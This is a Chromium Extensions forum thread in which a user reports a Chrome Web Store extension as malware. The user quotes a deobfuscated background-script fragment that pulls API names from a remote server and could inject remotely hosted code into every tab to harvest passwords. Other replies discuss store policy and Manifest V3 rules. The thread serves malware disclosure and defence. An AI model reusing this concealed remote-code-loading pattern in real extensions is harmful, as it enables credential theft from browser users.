Reported a malicious extension in CWS but no action is taken.

[Breeze]

I have analyzed an extension and found it to be malicious. I reported it via the "Report Abuse" link in the extension's CWS entry, but no action was taken until now.

I am posting here to have other's opinion on this. Maybe it doesn't yet met the criteria for CWS team to consider taking it down?

---------

Basically, it has a HUGE background script that consists of nowhere-used JSON object, and a malicious code that fetches resources from a suspicious domain and executing it is contained in the middle. They fetch period-separated name from remote endpoint, and use it to access objects exposed to the global scope, which may as well be an extension API.

I have made a write-up here: https://gist.github.com/ab-c-d/ce7617230d9bda8b2413bb311c37b724


Currently, it seems that their endpoint is returning an empty object. Does CWS team only take down when they actually observe a malicious action, i.e. when they actually return something malicious from remote endpoints?

I think the fact that a code that fetches remote resources under a function with an innocuous name "_parseLocale" should be enough to consider the extension as malicious, but I'd like to prove more, by providing a concrete example the remote endpoint may return to do something malicious.

So, the background script has a following code:
```
const a = this._logError,
    [e, i, r, u] = t;
var s = JSON.parse(n[o]);
i.bind(e)(((e, n, i) => {
    try {
        const [n] = s;
        var t = u.apply(r, [e, n, a])
    } catch(a) {
        this._logError(a)
    }
}))
```
Here, the variables e, i, r, u are globally-exposed objects that are accessed via string returned from remote endpoint. this._logError is a function that accesses chrome.runtime.lastError.

Curiously, the object "i" is called with a single argument that is a function accepting three arguments -- which is reminiscent of "chrome.tabs.onUpdated.addListener". If this is the case, "e" will be the tabId, "n" will be the changeInfo, and i will be the tab object.

In the callback function, only the object "tabId" will be used. It calls u.apply(r, [e,n,a]), where u is a global object which accepts again curiously, three arguments.

So think about this: if "i" is "chrome.tabs.onUpdated.addListener", and "u" is "chrome.tabs.executeScript", and "n" is certain JSON object that contains a "code" property. This extension is then effectively executing remotely-hosted content script on every tabs. Now the extension has gained an ability to scour id-password in every webpage.

This is the demonstration that the current version is already capable of doing very malicious operations by simply changing remote endpoint's response.

[Simeon Vincent]

I have analyzed an extension and found it to be malicious. I reported it via the "Report Abuse" link in the extension's CWS entry, but no action was taken until now.

The "Report abuse" link is a general purpose signal for members of the public to flag an item they are concerned about. Given the very public nature of this link, a single report will not immediately cause CWS review to take a closer look at an item. You may want to use the "An item that should not be on the store" option on the developer support contact form to file a report. 

I think the fact that a code that fetches remote resources under a function with an innocuous name "_parseLocale" should be enough to consider the extension as malicious

While your concerns regarding this extension may be founded, the primary concern you've raised (execution of arbitrary code) is allowed by the Developer Program Policies in Manifest V2 extensions. It can certainly be a concerning signal, but in and of itself that's allowed. The potential for a function to be abused is not sufficient grounds for CWS review to remove an item from the store

I should also note that remotely loaded code is not allowed in Manifest V3 extensions (see Additional Requirements for Manifest V3) largely because of the danger it poses to end users and the frequency with which malicious actors exploit this capability. 

This extension's installation count was below 10,000 about a month ago, and it suddenly skyrocketed to 200k in one night.

This strikes me as the more concerning indicator that something unusual is happening. Again, I would encourage you to use the developer support contact form to report your observations.

Simeon - @dotproto

Chrome Extensions DevRel

--
You received this message because you are subscribed to the Google Groups "Chromium Extensions" group.
To unsubscribe from this group and stop receiving emails from it, send an email to chromium-extens...@chromium.org.
To view this discussion on the web visit https://groups.google.com/a/chromium.org/d/msgid/chromium-extensions/b44377ff-495a-4803-b443-101f78fa3807n%40chromium.org.

[Breeze]

The "Report abuse" link is a general purpose signal for members of the public to flag an item they are concerned about.

To be clear, it's not just a "link" but is also a "form", and this is the form that I submitted. I have submitted Developer support contact form.

If possible, I'd appreciate if you could forward this message to the CWS team. It is an active malware campaign, and the count of victims may be increasing as long as CWS team delays it.

I should also note that remotely loaded code is not allowed in Manifest V3 extensions (see Additional Requirements for Manifest V3) largely because of the danger it poses to end users and the frequency with which malicious actors exploit this capability. 

Manifest V3's "func" property of chrome.scripting.executeScript is elegant in this regard. Although it causes v8 to unnecessarily parse functions, it would have prevented malwares like this. It does adds a value, not like the removal of webRequestBlocking.

[avm99963]

Some weeks ago I tried to report a similar extension via the "report abuse" link (see this thread for more info; I said "tried" because the extension was deleted before I could send the report). In that case, the extension included logic to track the user around the Internet if a remote call to load the extension configuration returned a special flag. The difference between the case you've presented here and mine is that in my case the "malicious" code was bundled with the extension, and just had to be activated remotely (no need to fetch the suspected malicious code).

As @Simeon said, in MV3 the case that you @Breeze presented won't be feasible anymore, but if the "malicious" code is embedded in the extension itself and just needs to be activated remotely (something explicitly permitted by the Policies), can the developer argue that they promise not to activate it remotely, so everything's fine?

(When I say "malicious" code, I'm referring to a piece of logic which goes against the CWS Policies or their own Privacy Policy.)

I'd argue that the extension should be evaluated as if all the functionality which depends on a configuration remotely obtained were enabled. So, for instance, I think that an extension which gathers "Personally identifiable information" when a remote flag is set should need to check the "PII" checkbox in the "User data" section, since it's unclear (and unknown) whether this data collection is enabled or not for all users. I think this would help make the CWS more secure. What do you think?

The "Report abuse" link is a general purpose signal for members of the public to flag an item they are concerned about. Given the very public nature of this link, a single report will not immediately cause CWS review to take a closer look at an item. You may want to use the "An item that should not be on the store" option on the developer support contact form to file a report.

Thanks @Simeon! That's good to know :)

Cheers :-)